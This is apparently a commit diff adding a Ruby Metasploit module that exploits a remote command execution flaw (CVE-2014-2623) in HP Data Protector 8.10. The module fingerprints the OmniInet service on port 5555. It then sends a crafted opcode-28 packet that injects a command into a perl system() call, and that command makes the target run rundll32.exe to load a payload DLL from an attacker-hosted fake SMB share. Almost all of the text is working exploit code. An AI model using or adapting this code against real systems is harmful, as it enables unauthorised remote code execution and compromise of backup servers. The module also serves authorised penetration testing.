|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Tcp |
| 12 | + include Msf::Exploit::Remote::SMB::Server::Share |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'HP Data Protector 8.10 Remote Command Execution', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a remote command execution on HP Data Protector 8.10. Arbitrary |
| 20 | + commands can be execute by sending crafted requests with opcode 28 to the OmniInet |
| 21 | + service listening on the TCP/5555 port. Since there is an strict length limitation on |
| 22 | + the command, rundll32.exe is executed, and the payload is provided through a DLL by a |
| 23 | + fake SMB server. This module has been tested successfully on HP Data Protector 8.1 on |
| 24 | + Windows 7 SP1. |
| 25 | + }, |
| 26 | + 'Author' => [ |
| 27 | + 'Christian Ramirez', # POC |
| 28 | + 'Henoch Barrera', # POC |
| 29 | + 'Matthew Hall <hallm[at]sec-1.com>' # Metasploit Module |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + ['CVE', '2014-2623'], |
| 34 | + ['OSVDB', '109069'], |
| 35 | + ['EDB', '34066'], |
| 36 | + ['URL', 'https://h20564.www2.hp.com/hpsc/doc/public/display?docId=emr_na-c04373818'] |
| 37 | + ], |
| 38 | + 'DefaultOptions' => |
| 39 | + { |
| 40 | + 'EXITFUNC' => 'thread', |
| 41 | + }, |
| 42 | + 'Payload' => |
| 43 | + { |
| 44 | + 'Space' => 2048, |
| 45 | + 'DisableNops' => true |
| 46 | + }, |
| 47 | + 'Privileged' => true, |
| 48 | + 'Platform' => 'win', |
| 49 | + 'Stance' => Msf::Exploit::Stance::Aggressive, |
| 50 | + 'Targets' => |
| 51 | + [ |
| 52 | + [ 'HP Data Protector 8.10 / Windows', { } ], |
| 53 | + ], |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + 'DisclosureDate' => 'Nov 02 2014')) |
| 56 | + |
| 57 | + register_options( |
| 58 | + [ |
| 59 | + Opt::RPORT(5555), |
| 60 | + OptString.new('FILE_NAME', [ false, 'DLL File name to share']), |
| 61 | + OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) |
| 62 | + ], self.class) |
| 63 | + |
| 64 | + deregister_options('FILE_CONTENTS') |
| 65 | + end |
| 66 | + |
| 67 | + def check |
| 68 | + fingerprint = get_fingerprint |
| 69 | + |
| 70 | + if fingerprint.nil? |
| 71 | + return Exploit::CheckCode::Unknown |
| 72 | + end |
| 73 | + |
| 74 | + print_status("#{peer} - HP Data Protector version #{fingerprint}") |
| 75 | + |
| 76 | + if fingerprint =~ /HP Data Protector A\.08\.(\d+)/ |
| 77 | + minor = $1.to_i |
| 78 | + else |
| 79 | + return Exploit::CheckCode::Safe |
| 80 | + end |
| 81 | + |
| 82 | + if minor < 11 |
| 83 | + return Exploit::CheckCode::Appears |
| 84 | + end |
| 85 | + |
| 86 | + Exploit::CheckCode::Detected |
| 87 | + end |
| 88 | + |
| 89 | + def peer |
| 90 | + "#{rhost}:#{rport}" |
| 91 | + end |
| 92 | + |
| 93 | + def get_fingerprint |
| 94 | + ommni = connect |
| 95 | + ommni.put(rand_text_alpha_upper(64)) |
| 96 | + resp = ommni.get_once(-1) |
| 97 | + disconnect |
| 98 | + |
| 99 | + if resp.nil? |
| 100 | + return nil |
| 101 | + end |
| 102 | + |
| 103 | + Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last null |
| 104 | + end |
| 105 | + |
| 106 | + def send_pkt(cmd) |
| 107 | + cmd.gsub!("\\", "\\\\\\\\") |
| 108 | + |
| 109 | + pkt = "2\x00" |
| 110 | + pkt << "\x01\x01\x01\x01\x01\x01\x00" |
| 111 | + pkt << "\x01\x00" |
| 112 | + pkt << "\x01\x00" |
| 113 | + pkt << "\x01\x00" |
| 114 | + pkt << "\x01\x01\x00 " |
| 115 | + pkt << "28\x00" |
| 116 | + pkt << "\\perl.exe\x00 " |
| 117 | + pkt << "-esystem('#{cmd}')\x00" |
| 118 | + |
| 119 | + connect |
| 120 | + sock.put([pkt.length].pack('N') + pkt) |
| 121 | + disconnect |
| 122 | + end |
| 123 | + |
| 124 | + def primer |
| 125 | + self.file_contents = generate_payload_dll |
| 126 | + print_status("File available on #{unc}...") |
| 127 | + |
| 128 | + print_status("#{peer} - Trying to execute remote DLL...") |
| 129 | + sploit = "rundll32.exe #{unc},#{rand_text_numeric(1)}" |
| 130 | + send_pkt(sploit) |
| 131 | + end |
| 132 | + |
| 133 | + def setup |
| 134 | + super |
| 135 | + |
| 136 | + self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.dll" |
| 137 | + |
| 138 | + unless file_name =~ /\.dll$/ |
| 139 | + fail_with(Failure::BadConfig, "FILE_NAME must end with .dll") |
| 140 | + end |
| 141 | + end |
| 142 | + |
| 143 | + def exploit |
| 144 | + begin |
| 145 | + Timeout.timeout(datastore['SMB_DELAY']) {super} |
| 146 | + rescue Timeout::Error |
| 147 | + # do nothing... just finish exploit and stop smb server... |
| 148 | + end |
| 149 | + end |
| 150 | +end |
0 commit comments